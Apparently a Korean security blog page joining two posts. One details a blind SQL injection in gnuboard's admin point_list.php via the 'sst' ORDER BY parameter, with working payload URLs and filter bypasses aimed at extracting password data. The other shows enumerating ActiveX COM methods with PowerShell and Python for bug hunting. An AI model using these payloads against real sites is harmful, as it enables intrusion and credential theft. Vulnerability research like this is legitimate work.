sst 변수에서 입력값 검증을 하지 않아 발생하는 취약점이며, order by 구문에 삽입이 가능하여 이를 이용한 blindSQL 인젝션이 가능하다.
거짓, po_rel_id 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^1/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id
참, po_point 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^0/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id
블라인드 인젝션이 가능하지만 몇가지 제약사항이 있었다.
- 띄어쓰기 안됨 => /**/ 로 해결
- 서브쿼리 안됨 => case when 문으로 해결
- ' 안됨 -> 0x41 아스키 구문으로 해결
ex) mb_id like 0x%s and mb_password
아래처럼 공격해서 값을 알아낼 수 있다.
'My Exploit' 카테고리의 다른 글
KISA ActiveX 취약점 집중점검 후기 (2) | 2014.09.01 |
---|---|
Bug Hunting - AkelPad Heap Unicode BufferOverflow (2) | 2013.11.21 |
메신저 exploit 제작기 (3) | 2013.11.06 |
ActiveX 메소드 powershell 로 확인하기
activex 메소드 확인하는 법.
당연히 progid 또는 clsid 는 알고 있어야 한다. 일반적으로 웹 소스 상에서 바로 보는 것은 clsid
1) com/ole viewer 로 확인
2) com raider 로 확인(사실 이제 가장 깔끔한듯. 매뉴얼 퍼징 용도로는..)
3) 프로그래밍
- c 언어로 하면 쉽게 할 수 있으나, python 을 좋아하므로...powershell 을 이용해서 python 으로 하는법(?)
# powershell #
PS C:\Users\hyunmini> $clsid = New-Object Guid 'DC2D84BD-498D-48B1-808C-60236E7FE0C8'
PS C:\Users\hyunmini> $type = [Type]::GetTypeFromCLSID($clsid)
PS C:\Users\hyunmini> $object = [Activator]::CreateInstance($type)
PS C:\Users\hyunmini> $object | get-member
TypeName: System.__ComObject#{684c87de-557e-4a17-aea5-036ff1eeca95}
Name MemberType Definition
---- ---------- ----------
AddFile Method void AddFile (string, string)
AddTempFile Method void AddTempFile (string, uint, st...
AppendDragDrop Method void AppendDragDrop (Variant, string)
AppendFilter Method void AppendFilter (Variant, Variant)
AppendPostData Method void AppendPostData (Variant, Vari...
ClearDragDrop Method void ClearDragDrop ()
ClearFilter Method void ClearFilter ()
ClearPostData Method void ClearPostData ()
...
# python (-_-;;)
p = subprocess.Popen(
[
"powershell.exe",
"-command",
"&{ $clsid = New-Object Guid '%s';$type = [Type]::GetTypeFromCLSID($clsid);$object= [Activator]::CreateInstance($type);get-member -inputObject $object; }" % clsid
], stdout=subprocess.PIPE)
p_result, err = p.communicate()
'Bug Hunting' 카테고리의 다른 글
[집필 서적 안내] 윈도우 시스템 해킹 가이드 : 버그헌팅과 익스플로잇 (9) | 2016.01.13 |
---|---|
Fuzzer 구현 시 First-chance Exception과 Second-chance Exception (0) | 2016.01.07 |
Bug Hunting (1) - Exploitable 취약점 분류 (0) | 2014.04.23 |